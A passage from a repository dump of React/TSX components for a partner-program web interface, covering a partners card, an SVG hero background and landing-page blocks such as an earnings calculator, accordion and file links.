text-white transition-[transform,opacity] duration-75\",\n                                    !checked && \"scale-75 opacity-0\",\n                                  )}\n                                />\n                              </div>\n                              <div className=\"flex min-w-0 items-center gap-2\">\n                                <GroupColorCircle group={group} />\n                                <span className=\"min-w-0 truncate\">\n                                  {group.name}\n                                </span>\n                              </div>\n                            </Command.Item>\n                          );\n                        })}\n                        {!useAsync ? (\n                          <Command.Empty className=\"flex min-h-12 items-center justify-center text-sm text-neutral-500\">\n                            No matches\n                          </Command.Empty>\n                        ) : sortedGroups.length === 0 ? (\n                          <div className=\"flex min-h-12 items-center justify-center text-sm text-neutral-500\">\n                            No matches\n                          </div>\n                        ) : null}\n                      </>\n                    ) : (\n                      // undefined data / explicit loading state\n                      <Command.Loading>\n                        <div className=\"flex h-12 items-center justify-center\">\n                          <LoadingSpinner />\n                        </div>\n                      </Command.Loading>\n                    )}\n                  </Command.List>\n                </ScrollContainer>\n              </Command>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/reward-discount-partners-card.tsx",
    "content": "import usePartners from \"@/lib/swr/use-partners\";\nimport usePartnersCount from \"@/lib/swr/use-partners-count\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, ChevronRight, Table, useTable } from \"@dub/ui\";\nimport { Users } from \"@dub/ui/icons\";\nimport { cn, nFormatter, pluralize } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { RewardIconSquare } from \"../rewards/reward-icon-square\";\n\nexport function RewardDiscountPartnersCard({ groupId }: { groupId: string }) {\n  const [isExpanded, setIsExpanded] = useState<boolean>(false);\n\n  const { partnersCount } = usePartnersCount<number | undefined>({\n    groupId,\n    status: \"approved\",\n  });\n\n  const { partners } = usePartners({\n    query: {\n      groupId,\n      status: \"approved\",\n      pageSize: 10,\n    },\n  });\n\n  return (\n    <div className=\"border-border-subtle rounded-xl border bg-white text-sm shadow-sm\">\n      <button\n        type=\"button\"\n        onClick={() => setIsExpanded((e) => !e)}\n        disabled={partnersCount === undefined}\n        className={cn(\n          \"flex w-full items-center justify-between gap-4 p-2.5 pr-4\",\n          partnersCount === undefined && \"cursor-not-allowed\",\n        )}\n      >\n        <div className=\"text-content-emphasis flex items-center gap-2.5 font-medium\">\n          <RewardIconSquare icon={Users} />\n          {partnersCount === undefined ? (\n            <div className=\"h-5 w-24 animate-pulse rounded-md bg-neutral-200\" />\n          ) : (\n            <span>\n              {partnersCount === 0 ? (\n                \"No partners selected\"\n              ) : (\n                <>\n                  To{\" \"}\n                  <PartnerPreviewOrCount\n                    previewPartners={partners?.slice(0, 3) || []}\n                    partnersCount={partnersCount}\n                    isExpanded={isExpanded}\n                  />\n                </>\n              )}\n            </span>\n          )}\n        </div>\n        <ChevronRight\n          className={cn(\n            \"text-content-subtle size-3 transition-transform duration-200\",\n            isExpanded && \"rotate-90\",\n          )}\n        />\n      </button>\n\n      <motion.div\n        className={cn(\n          \"overflow-hidden transition-opacity duration-200\",\n          !isExpanded && \"opacity-0\",\n        )}\n        initial={false}\n        animate={{ height: isExpanded ? \"auto\" : 0 }}\n        transition={{ duration: 0.2 }}\n      >\n        <div className=\"border-border-subtle -mx-px rounded-xl border-x border-t bg-neutral-50 p-2.5\">\n          <PartnersCompactTable\n            partners={partners}\n            partnersCount={partnersCount || 0}\n            groupId={groupId}\n          />\n        </div>\n      </motion.div>\n    </div>\n  );\n}\n\nfunction PartnersCompactTable({\n  partners,\n  partnersCount,\n  groupId,\n}: {\n  partners?: EnrolledPartnerProps[];\n  partnersCount: number;\n  groupId: string;\n}) {\n  const { slug } = useParams<{ slug: string }>();\n\n  const { table, ...tableProps } = useTable({\n    data: partners || [],\n    columns: [\n      {\n        header: \"Partner\",\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-2\">\n            <PartnerAvatar partner={row.original} className=\"size-6\" />\n            <span className=\"truncate text-sm text-neutral-700\">\n              {row.original.name}\n            </span>\n          </div>\n        ),\n        size: 180,\n        minSize: 180,\n        maxSize: 180,\n      },\n      {\n        header: \"Email\",\n        cell: ({ row }) => (\n          <div className=\"truncate text-sm text-neutral-600\">\n            {row.original.email}\n          </div>\n        ),\n        size: 160,\n        minSize: 160,\n        maxSize: 160,\n      },\n    ],\n    thClassName: \"border-l-0\",\n    tdClassName: (columnId: string) =>\n      cn(\"border-l-0\", columnId !== \"menu\" && \"max-w-0 truncate\"),\n    resourceName: (p: boolean) => `partner${p ? \"s\" : \"\"}`,\n    rowCount: partners?.length || 0,\n  });\n\n  return (\n    <div className=\"relative\">\n      {partners?.length ? (\n        <>\n          <Table\n            {...tableProps}\n            table={table}\n            containerClassName=\"border\"\n            scrollWrapperClassName=\"overflow-x-hidden\"\n          />\n          {partnersCount > 10 && (\n            <div className=\"mt-2 flex justify-end\">\n              <Link\n                href={`/${slug}/program/partners?groupId=${groupId}`}\n                target=\"_blank\"\n              >\n                <Button\n                  type=\"button\"\n                  variant=\"secondary\"\n                  className=\"h-7 w-fit rounded-lg px-2.5\"\n                  text=\"View all\"\n                />\n              </Link>\n            </div>\n          )}\n        </>\n      ) : (\n        <div className=\"text-content-muted flex h-24 items-center justify-center text-sm\">\n          No partners found.\n        </div>\n      )}\n    </div>\n  );\n}\n\nfunction PartnerPreviewOrCount({\n  previewPartners,\n  partnersCount,\n  isExpanded,\n}: {\n  previewPartners: EnrolledPartnerProps[];\n  partnersCount: number;\n  isExpanded: boolean;\n}) {\n  const showAvatars = !isExpanded && partnersCount > 0;\n\n  return (\n    <span className=\"relative\">\n      <span\n        className={cn(\n          \"transition-[transform,opacity] duration-200\",\n          showAvatars && \"pointer-events-none -translate-y-0.5 opacity-0\",\n        )}\n      >\n        <strong className=\"font-semibold\">\n          {nFormatter(partnersCount, { full: true })}\n        </strong>{\" \"}\n        {partnersCount && pluralize(\"partner\", partnersCount)}\n      </span>\n\n      <span\n        className={cn(\n          \"absolute left-2 top-1/2 inline-flex min-w-full -translate-y-1/2 items-center align-text-top transition-[transform,opacity] duration-200\",\n          !showAvatars && \"pointer-events-none translate-y-0.5 opacity-0\",\n        )}\n      >\n        {previewPartners.map((partner) => (\n          <PartnerAvatar\n            key={partner.id}\n            partner={partner}\n            className=\"-ml-1.5 size-[1.125rem] border border-white\"\n          />\n        ))}\n        {partnersCount > 3 && (\n          <span className=\"text-content-subtle ml-1 text-xs\">\n            +{nFormatter(partnersCount - 3, { full: true })}\n          </span>\n        )}\n      </span>\n    </span>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/hero-background.tsx",
    "content": "\"use client\";\n\nimport { BlurImage } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { CSSProperties, useId } from \"react\";\n\nconst BG_INVERTED = \"rgb(var(--bg-inverted))\";\n\nexport function HeroBackground({\n  logo,\n  color,\n  embed = false,\n}: {\n  logo?: string | null;\n  color?: string | null;\n  embed?: boolean;\n}) {\n  const id = useId();\n\n  return (\n    <div\n      className=\"bg-bg-muted absolute inset-0 isolate -z-[1] overflow-hidden [container-type:size]\"\n      style={\n        {\n          color: color || \"#737373\",\n          \"--brand\": color || \"#737373\",\n          \"--brand-dark\": \"oklch(from var(--brand) 0.38 min(c, 0.17) h)\",\n        } as CSSProperties\n      }\n    >\n      <div className=\"absolute inset-0 [mask-image:linear-gradient(90deg,transparent_40%,black)]\">\n        {color ? (\n          <div className=\"absolute inset-0 bg-current opacity-20 sm:opacity-10\" />\n        ) : (\n          <RainbowGradient className=\"opacity-25 sm:opacity-15\" />\n        )}\n      </div>\n\n      <svg\n        xmlns=\"http://www.w3.org/2000/svg\"\n        width=\"718\"\n        height=\"258\"\n        fill=\"none\"\n        viewBox=\"0 0 718 258\"\n        className={cn(\n          \"pointer-events-none absolute right-0 top-0 hidden h-full w-auto\",\n          embed ? \"md:block\" : \"lg:block\",\n        )}\n      >\n        <mask\n          id={`${id}-grid-mask`}\n          width=\"100%\"\n          height=\"100%\"\n          x=\"0\"\n          y=\"0\"\n          maskUnits=\"userSpaceOnUse\"\n          style={{ maskType: \"alpha\" }}\n        >\n          <rect width=\"100%\" height=\"100%\" fill={`url(#${id}-c)`} />\n        </mask>\n        <rect\n          fill={`url(#${id}-grid)`}\n          mask={`url(#${id}-grid-mask)`}\n          width=\"100%\"\n          height=\"100%\"\n        />\n        <g clipPath={`url(#${id}-a)`}>\n          <g filter={`url(#${id}-d)`}>\n            <path\n              fill={`url(#${id}-e)`}\n              className=\"dark:opacity-30\"\n              d=\"M478 65c0-8.837 7.163-16 16-16h128c8.837 0 16 7.163 16 16v128c0 8.837-7.163 16-16 16H494c-8.837 0-16-7.163-16-16z\"\n            />\n          </g>\n          <path\n            stroke={BG_INVERTED}\n            strokeOpacity=\"0.06\"\n            strokeWidth=\"0.75\"\n            d=\"M478 65c0-8.837 7.163-16 16-16h128c8.837 0 16 7.163 16 16v128c0 8.837-7.163 16-16 16H494c-8.837 0-16-7.163-16-16z\"\n          />\n          <mask\n            id={`${id}-h`}\n            width=\"319\"\n            height=\"319\"\n            x=\"398\"\n            y=\"-30\"\n            maskUnits=\"userSpaceOnUse\"\n            style={{ maskType: \"alpha\" }}\n          >\n            <circle cx=\"557.5\" cy=\"129.5\" r=\"159.5\" fill={`url(#${id}-g)`} />\n          </mask>\n          <g mask={`url(#${id}-h)`}>\n            <g filter={`url(#${id}-i)`}>\n              <rect\n                width=\"40\"\n                height=\"40\"\n                x=\"418\"\n                y=\"29\"\n                fill={`url(#${id}-j)`}\n                rx=\"8\"\n              />\n              <rect\n                width=\"40\"\n                height=\"40\"\n                x=\"418\"\n                y=\"29\"\n                stroke={BG_INVERTED}\n                strokeOpacity=\"0.06\"\n                strokeWidth=\"0.75\"\n                rx=\"8\"\n              />\n              <g\n                stroke=\"#737373\"\n                strokeLinecap=\"round\"\n                strokeLinejoin=\"round\"\n                strokeWidth=\"1.5\"\n                opacity=\"0.2\"\n              >\n                <path d=\"M438 51.222a2.222 2.222 0 1 0 0-4.444 2.222 2.222 0 0 0 0 4.444\" />\n                <path d=\"M429.944 54.278V43.722c2.663 1.194 5.076 1.357 8.056 0s5.393-1.389 8.056 0v10.556c-2.663-1.39-5.076-1.357-8.056 0s-5.393 1.193-8.056 0\" />\n              </g>\n            </g>\n            <g filter={`url(#${id}-k)`}>\n              <rect\n                width=\"40\"\n                height=\"40\"\n                x=\"658\"\n                y=\"189\"\n                fill={`url(#${id}-l)`}\n                rx=\"8\"\n              />\n              <rect\n                width=\"40\"\n                height=\"40\"\n                x=\"658\"\n                y=\"189\"\n                stroke={BG_INVERTED}\n                strokeOpacity=\"0.06\"\n                strokeWidth=\"0.75\"\n                rx=\"8\"\n              />\n              <g\n                stroke=\"#737373\"\n                strokeLinecap=\"round\"\n                strokeLinejoin=\"round\"\n                strokeWidth=\"1.5\"\n                opacity=\"0.2\"\n              >\n                <path d=\"M678 209.917a2.445 2.445 0 1 0-.001-4.89 2.445 2.445 0 0 0 .001 4.89M673.265 216.639a4.89 4.89 0 0 1 4.735-3.667 4.89 4.89 0 0 1 4.735 3.667\" />\n                <path d=\"M685.639 208.389v5.805a2.444 2.444 0 0 1-2.445 2.445h-10.388a2.444 2.444 0 0 1-2.445-2.445v-10.388a2.444 2.444 0 0 1 2.445-2.445h5.805M685.028 198.917v6.111M688.083 201.972h-6.111\" />\n              </g>\n            </g>\n          </g>\n        </g>\n        <defs>\n          <filter\n            id={`${id}-d`}\n            width=\"160.75\"\n            height=\"160.75\"\n            x=\"477.625\"\n            y=\"48.625\"\n            colorInterpolationFilters=\"sRGB\"\n            filterUnits=\"userSpaceOnUse\"\n          >\n            <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n            <feBlend\n              in=\"SourceGraphic\"\n              in2=\"BackgroundImageFix\"\n              result=\"shape\"\n            />\n            <feColorMatrix\n              in=\"SourceAlpha\"\n              result=\"hardAlpha\"\n              values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n            />\n            <feOffset />\n            <feGaussianBlur stdDeviation=\"6\" />\n            <feComposite in2=\"hardAlpha\" k2=\"-1\" k3=\"1\" operator=\"arithmetic\" />\n            <feColorMatrix values=\"0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0.5 0\" />\n            <feBlend in2=\"shape\" result=\"effect1_innerShadow_21_5513\" />\n          </filter>\n          <filter\n            id={`${id}-i`}\n            width=\"40.75\"\n            height=\"40.75\"\n            x=\"417.625\"\n            y=\"28.625\"\n            colorInterpolationFilters=\"sRGB\"\n            filterUnits=\"userSpaceOnUse\"\n          >\n            <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n            <feBlend\n              in=\"SourceGraphic\"\n              in2=\"BackgroundImageFix\"\n              result=\"shape\"\n            />\n            <feColorMatrix\n              in=\"SourceAlpha\"\n              result=\"hardAlpha\"\n              values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n            />\n            <feOffset />\n            <feGaussianBlur stdDeviation=\"6\" />\n            <feComposite in2=\"hardAlpha\" k2=\"-1\" k3=\"1\" operator=\"arithmetic\" />\n            <feColorMatrix values=\"0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0.5 0\" />\n            <feBlend in2=\"shape\" result=\"effect1_innerShadow_21_5513\" />\n          </filter>\n          <filter\n            id={`${id}-k`}\n            width=\"40.75\"\n            height=\"40.75\"\n            x=\"657.625\"\n            y=\"188.625\"\n            colorInterpolationFilters=\"sRGB\"\n            filterUnits=\"userSpaceOnUse\"\n          >\n            <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n            <feBlend\n              in=\"SourceGraphic\"\n              in2=\"BackgroundImageFix\"\n              result=\"shape\"\n            />\n            <feColorMatrix\n              in=\"SourceAlpha\"\n              result=\"hardAlpha\"\n              values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n            />\n            <feOffset />\n            <feGaussianBlur stdDeviation=\"6\" />\n            <feComposite in2=\"hardAlpha\" k2=\"-1\" k3=\"1\" operator=\"arithmetic\" />\n            <feColorMatrix values=\"0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0.5 0\" />\n            <feBlend in2=\"shape\" result=\"effect1_innerShadow_21_5513\" />\n          </filter>\n          <linearGradient id={`${id}-c`} gradientUnits=\"userSpaceOnUse\">\n            <stop offset=\"0\" stopColor={BG_INVERTED} stopOpacity=\"0\" />\n            <stop offset=\"1\" stopColor={BG_INVERTED} stopOpacity=\"1\" />\n          </linearGradient>\n          <linearGradient\n            id={`${id}-e`}\n            x1=\"558\"\n            x2=\"558\"\n            y1=\"209\"\n            y2=\"49\"\n            gradientUnits=\"userSpaceOnUse\"\n          >\n            <stop stopColor=\"#fff\" stopOpacity=\"0.23\" />\n            <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\"0.3\" />\n          </linearGradient>\n          <linearGradient\n            id={`${id}-j`}\n            x1=\"438\"\n            x2=\"438\"\n            y1=\"69\"\n            y2=\"29\"\n            gradientUnits=\"userSpaceOnUse\"\n          >\n            <stop\n              stopColor=\"#fff\"\n              className=\"[stop-opacity:0.23] dark:[stop-opacity:0.1]\"\n            />\n            <stop\n              offset=\"1\"\n              stopColor=\"#fff\"\n              className=\"[stop-opacity:0.3] dark:[stop-opacity:0.17]\"\n            />\n          </linearGradient>\n          <linearGradient\n            id={`${id}-l`}\n            x1=\"678\"\n            x2=\"678\"\n            y1=\"229\"\n            y2=\"189\"\n            gradientUnits=\"userSpaceOnUse\"\n          >\n            <stop\n              stopColor=\"#fff\"\n              className=\"[stop-opacity:0.23] dark:[stop-opacity:0.1]\"\n            />\n            <stop\n              offset=\"1\"\n              stopColor=\"#fff\"\n              className=\"[stop-opacity:0.3] dark:[stop-opacity:0.17]\"\n            />\n          </linearGradient>\n          <radialGradient\n            id={`${id}-g`}\n            cx=\"0\"\n            cy=\"0\"\n            r=\"1\"\n            gradientTransform=\"rotate(90 214 343.5) scale(159.5)\"\n            gradientUnits=\"userSpaceOnUse\"\n          >\n            <stop offset=\"0.73\" stopColor=\"#fff\" />\n            <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\"0\" />\n          </radialGradient>\n          <clipPath id={`${id}-a`}>\n            <path fill=\"#fff\" d=\"M0 0h718v258H0z\" />\n          </clipPath>\n          <pattern\n            id={`${id}-grid`}\n            x={-2.25}\n            y={9}\n            width={20}\n            height={20}\n            patternUnits=\"userSpaceOnUse\"\n          >\n            <path\n              d={`M 20 0 L 0 0 0 20`}\n              fill=\"transparent\"\n              className=\"text-border-emphasis\"\n              stroke=\"currentColor\"\n              strokeOpacity={0.12}\n              strokeWidth={1}\n            />\n          </pattern>\n        </defs>\n      </svg>\n\n      <div className=\"absolute inset-0 mix-blend-soft-light [mask-image:linear-gradient(90deg,transparent_40%,black)] max-sm:hidden\">\n        {color ? (\n          <div className=\"absolute inset-0 bg-current\" />\n        ) : (\n          <RainbowGradient className=\"dark:opacity-50\" />\n        )}\n      </div>\n\n      <div\n        className={cn(\n          \"absolute right-4 top-3 block size-6 min-[300px]:size-8\",\n\n          // Position based on cqh to adjust for container height\n          \"\",\n          embed\n            ? \"md:right-[62cqh] md:top-1/2 md:size-[32cqh] md:-translate-y-1/2 md:translate-x-1/2\"\n            : \"lg:right-[62cqh] lg:top-1/2 lg:size-[32cqh] lg:-translate-y-1/2 lg:translate-x-1/2\",\n\n          \"drop-shadow-[0_0_15px_rgb(from_var(--brand-dark,#000)_r_g_b/0.4)]\",\n        )}\n      >\n        {logo && (\n          <BlurImage\n            src={logo}\n            alt=\"Program Logo\"\n            fill\n            className=\"absolute rounded-full border border-white/20 object-cover object-center\"\n            draggable={false}\n          />\n        )}\n      </div>\n    </div>\n  );\n}\n\nfunction RainbowGradient({ className }: { className?: string }) {\n  return (\n    <div\n      className={cn(\n        \"absolute inset-0 saturate-[1.5] [transform:translateZ(0)]\",\n        className,\n      )}\n    >\n      <div className=\"absolute right-[62cqh] top-1/2 aspect-square h-[200%] -translate-y-1/2 translate-x-1/2 rounded-full bg-[conic-gradient(from_-66deg_at_50%_50%,#855AFC_-32deg,#f00_63deg,#EAB308_158deg,#5CFF80_240deg,#855AFC_328deg,#f00_423deg)] blur-[50px]\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/lander/blocks/accordion-block.tsx",
    "content": "import { programLanderAccordionBlockSchema } from \"@/lib/zod/schemas/program-lander\";\nimport {\n  Accordion,\n  AccordionContent,\n  AccordionItem,\n  AccordionTrigger,\n} from \"@dub/ui\";\nimport * as z from \"zod/v4\";\nimport { BlockMarkdown } from \"./block-markdown\";\nimport { BlockTitle } from \"./block-title\";\n\nexport function AccordionBlock({\n  block,\n}: {\n  block: z.infer<typeof programLanderAccordionBlockSchema>;\n}) {\n  return (\n    <div className=\"space-y-5\">\n      <BlockTitle title={block.data.title} />\n      <div className=\"border-y border-slate-200\">\n        <Accordion type=\"multiple\">\n          {block.data.items.map((item, idx) => (\n            <AccordionItem key={idx} value={idx.toString()}>\n              <AccordionTrigger className=\"py-2\" variant=\"plus\" dir=\"auto\">\n                <h3 className=\"text-left md:text-lg\">{item.title}</h3>\n              </AccordionTrigger>\n              <AccordionContent>\n                <BlockMarkdown className=\"py-2\">{item.content}</BlockMarkdown>\n              </AccordionContent>\n            </AccordionItem>\n          ))}\n        </Accordion>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/lander/blocks/block-description.tsx",
    "content": "export function BlockDescription({ description }: { description?: string }) {\n  return description ? (\n    <p className=\"text-base text-neutral-500\">{description}</p>\n  ) : null;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/lander/blocks/block-markdown.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport Markdown from \"react-markdown\";\n\nexport function BlockMarkdown({\n  className,\n  children,\n}: {\n  className?: string;\n  children: string;\n}) {\n  return (\n    <div\n      className={cn(\n        \"prose prose-neutral max-w-none\",\n        \"prose-headings:leading-tight prose-bullet:text-red-500\",\n        \"prose-a:font-medium prose-a:text-neutral-500 hover:prose-a:text-neutral-600\",\n        \"marker:prose-ul:text-neutral-700 prose-ul:pl-[1.5em] [&_ul>li]:pl-0\",\n        className,\n      )}\n      dir=\"auto\"\n    >\n      <Markdown\n        components={{\n          a: ({ node, ...props }) => (\n            <a {...props} target=\"_blank\" rel=\"noopener noreferrer\" />\n          ),\n        }}\n      >\n        {children}\n      </Markdown>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/lander/blocks/block-title.tsx",
    "content": "export function BlockTitle({ title }: { title?: string }) {\n  return title ? (\n    <h2 className=\"text-2xl font-semibold text-neutral-800\" dir=\"auto\">\n      {title}\n    </h2>\n  ) : null;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/lander/blocks/earnings-calculator-block.tsx",
    "content": "\"use client\";\n\nimport { getRewardAmount } from \"@/lib/partners/get-reward-amount\";\nimport { GroupProps } from \"@/lib/types\";\nimport { programLanderEarningsCalculatorBlockSchema } from \"@/lib/zod/schemas/program-lander\";\nimport { InvoiceDollar } from \"@dub/ui\";\nimport NumberFlow from \"@number-flow/react\";\nimport { useId, useState } from \"react\";\nimport * as z from \"zod/v4\";\nimport { formatRewardDescription } from \"../../format-reward-description\";\nimport { BlockDescription } from \"./block-description\";\nimport { BlockTitle } from \"./block-title\";\nimport { WavePattern } from \"./wave-pattern\";\n\nconst SLIDER_MIN = 1;\nconst SLIDER_MAX = 50;\n\nexport function EarningsCalculatorBlock({\n  block,\n  group,\n  showTitleAndDescription = true,\n}: {\n  block: z.infer<typeof programLanderEarningsCalculatorBlockSchema>;\n  group: Pick<GroupProps, \"saleReward\">;\n  showTitleAndDescription?: boolean;\n}) {\n  const id = useId();\n  const [value, setValue] = useState(10);\n\n  if (!group?.saleReward) return null;\n\n  const rewardAmount = getRewardAmount(group.saleReward);\n  const revenue = value * ((block.data.productPrice || 30_00) / 100);\n\n  const isYearly = block.data.billingPeriod === \"yearly\";\n\n  const monthlyEarnings = Math.floor(\n    group.saleReward.type === \"flat\"\n      ? (value * rewardAmount) / 100\n      : revenue * (rewardAmount / 100),\n  );\n\n  const displayEarnings = isYearly ? monthlyEarnings * 12 : monthlyEarnings;\n\n  return (\n    <div className=\"space-y-5\">\n      {showTitleAndDescription && (\n        <div className=\"space-y-2\">\n          <BlockTitle title=\"Earnings calculator\" />\n          <BlockDescription description=\"See how much you could earn by referring customers to our program.\" />\n        </div>\n      )}\n\n      <div className=\"flex flex-col gap-4 rounded-xl border border-neutral-200 bg-white p-6\">\n        {/* Earnings display */}\n        <div className=\"relative flex flex-col pt-3\">\n          <span className=\"absolute left-0 top-0 text-sm font-semibold leading-5 text-neutral-700\">\n            You can earn\n          </span>\n          <div className=\"flex items-baseline\">\n            <NumberFlow\n              value={displayEarnings}\n              className=\"text-5xl font-medium leading-[48px] tracking-[-0.96px] text-neutral-800\"\n              prefix=\"$\"\n            />\n            {block.data.billingPeriod !== \"one-time\" && (\n              <span className=\"text-base font-semibold leading-6 tracking-[-0.32px] text-neutral-700\">\n                / {isYearly ? \"year\" : \"month\"}\n              </span>\n            )}\n          </div>\n        </div>\n\n        {/* Slider section */}\n        <div className=\"relative overflow-hidden rounded-[10px] border border-neutral-100 bg-neutral-50 p-5\">\n          <WavePattern />\n          <div className=\"relative z-10 flex flex-col gap-5\">\n            <p\n              id={`${id}-label`}\n              className=\"text-base font-medium leading-6 tracking-[-0.32px] text-neutral-500\"\n            >\n              <NumberFlow value={value} /> customer sales\n            </p>\n            <input\n              id={`${id}-slider`}\n              type=\"range\"\n              aria-labelledby={`${id}-label`}\n              min={SLIDER_MIN}\n              max={SLIDER_MAX}\n              value={value}\n              onChange={(e) => setValue(Number(e.target.value))}\n              className=\"earnings-slider w-full\"\n              style={{\n                background: `linear-gradient(to right, #262626 ${((value - SLIDER_MIN) / (SLIDER_MAX - SLIDER_MIN)) * 100}%, #e5e5e5 ${((value - SLIDER_MIN) / (SLIDER_MAX - SLIDER_MIN)) * 100}%)`,\n              }}\n            />\n            <div className=\"flex items-center gap-1\">\n              <InvoiceDollar className=\"size-3.5 text-neutral-500\" />\n              <p className=\"text-xs font-normal leading-4 tracking-[-0.24px] text-neutral-500\">\n                {formatRewardDescription(group.saleReward)}\n              </p>\n            </div>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/lander/blocks/files-block.tsx",
    "content": "import { GroupProps } from \"@/lib/types\";\nimport { programLanderFilesBlockSchema } from \"@/lib/zod/schemas/program-lander\";\nimport { ArrowUpRight, Download } from \"@dub/ui/icons\";\nimport * as z from \"zod/v4\";\nimport { BlockTitle } from \"./block-title\";\n\nexport function FilesBlock({\n  block,\n  group,\n}: {\n  block: z.infer<typeof programLanderFilesBlockSchema>;\n  group: Pick<GroupProps, \"logo\">;\n}) {\n  return (\n    <div className=\"space-y-5\">\n      <BlockTitle title={block.data.title} />\n      <div className=\"grid grid-cols-1 gap-3\">\n        {block.data.items.map((file, idx) => (\n          <a\n            key={idx}\n            className=\"group flex items-center justify-between gap-4 rounded-lg border border-neutral-200 bg-white p-3 transition-colors duration-75 hover:bg-neutral-50 active:bg-neutral-100\"\n            href={file.url}\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n          >\n            <div className=\"flex min-w-0 items-center gap-4\">\n              <div className=\"shrink-0 rounded-full border border-neutral-200\">\n                <div className=\"rounded-full border border-white bg-gradient-to-t from-neutral-100 p-1 md:p-2\">\n                  {group.logo ? (\n                    <img\n                      src={group.logo}\n                      alt=\"\"\n                      className=\"size-4 rounded-full\"\n                    />\n                  ) : (\n                    <Download className=\"size-4\" />\n                  )}\n                </div>\n              </div>\n              <div className=\"flex flex-col overflow-hidden text-sm text-neutral-700\">\n                <span className=\"truncate font-semibold\" dir=\"auto\">\n                  {file.name}\n                </span>\n                <span className=\"truncate\" dir=\"auto\">\n                  {file.description}\n                </span>\n              </div>\n            </div>\n            <div className=\"pr-3\">\n              <ArrowUpRight className=\"size-4 text-neutral-700 transition-transform duration-150 group-hover:-translate-y-0.5 group-hover:translate-x-0.5\" />\n            </div>\n          </a>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/lander/blocks/image-block.tsx",
    "content": "import { programLanderImageBlockSchema } from \"@/lib/zod/schemas/program-lander\";\nimport { ZoomImage } from \"@/ui/shared/zoom-image\";\nimport * as z from \"zod/v4\";\n\nexport function ImageBlock({\n  block,\n}: {\n  block: z.infer<typeof programLanderImageBlockSchema>;\n}) {\n  return (\n    <ZoomImage\n      src={block.data.url}\n      alt={block.data.alt}\n      width={block.data.width}\n      height={block.data.height}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/lander/blocks/index.tsx",
    "content": "import { programLanderBlockSchema } from \"@/lib/zod/schemas/program-lander\";\nimport { AccordionBlock } from \"@/ui/partners/lander/blocks/accordion-block\";\nimport { FilesBlock } from \"@/ui/partners/lander/blocks/files-block\";\nimport { ImageBlock } from \"@/ui/partners/lander/blocks/image-block\";\nimport { TextBlock } from \"@/ui/partners/lander/blocks/text-block\";\nimport * as z from \"zod/v4\";\nimport { EarningsCalculatorBlock } from \"./earnings-calculator-block\";\n\nexport const BLOCK_COMPONENTS: Record<\n  z.infer<typeof programLanderBlockSchema>[\"type\"],\n  any\n> = {\n  image: ImageBlock,\n  text: TextBlock,\n  files: FilesBlock,\n  accordion: AccordionBlock,\n  \"earnings-calculator\": EarningsCalculatorBlock,\n};\n"
  },
  {
    "path": "apps/web/ui/partners/lander/blocks/text-block.tsx",
    "content": "import { programLanderTextBlockSchema } from \"@/lib/zod/schemas/program-lander\";\nimport * as z from \"zod/v4\";\nimport { BlockMarkdown } from \"./block-markdown\";\nimport { BlockTitle } from \"./block-title\";\n\nexport function TextBlock({\n  block,\n}: {\n  block: z.infer<typeof programLanderTextBlockSchema>;\n}) {\n  return (\n    <div className=\"space-y-5\">\n      <BlockTitle title={block.data.title} />\n      <BlockMarkdown>{block.data.content}</BlockMarkdown>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/lander/blocks/wave-pattern.tsx",
    "content": "import { useId } from \"react\";\n\nexport function WavePattern() {\n  const id = useId();\n  return (\n    <svg\n      className=\"pointer-events-none absolute right-0 top-1/2 h-[158px] w-[392px] -translate-y-1/2\"\n      width=\"392\"\n      height=\"158\"\n      viewBox=\"0 0 392 158\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      <g opacity=\"0.04\" clipPath={`url(#${id}-clip)`}>\n        <mask\n          id={`${id}-mask`}\n          style={{ maskType: \"alpha\" }}\n          maskUnits=\"userSpaceOnUse\"\n          x=\"0\"\n          y=\"0\"\n          width=\"392\"\n          height=\"158\"\n        >\n          <rect\n            width=\"392\"\n            height=\"158\"\n            transform=\"matrix(-1 0 0 1 392 0)\"\n            fill={`url(#${id}-gradient)`}\n          />\n        </mask>\n        <g mask={`url(#${id}-mask)`}>\n          <path\n            d=\"M355.255 162.678C366.083 162.678 376.859 168.762 387.4 174.691C398.044 180.679 408.454 186.512 418.811 186.512C439.76 186.512 460.762 174.72 481.998 162.774L482.734 164.081C461.601 175.969 440.232 188.012 418.811 188.012C407.982 188.012 397.206 181.928 386.665 175.998C376.021 170.011 365.611 164.178 355.255 164.178C344.899 164.178 334.489 170.011 323.846 175.998C313.304 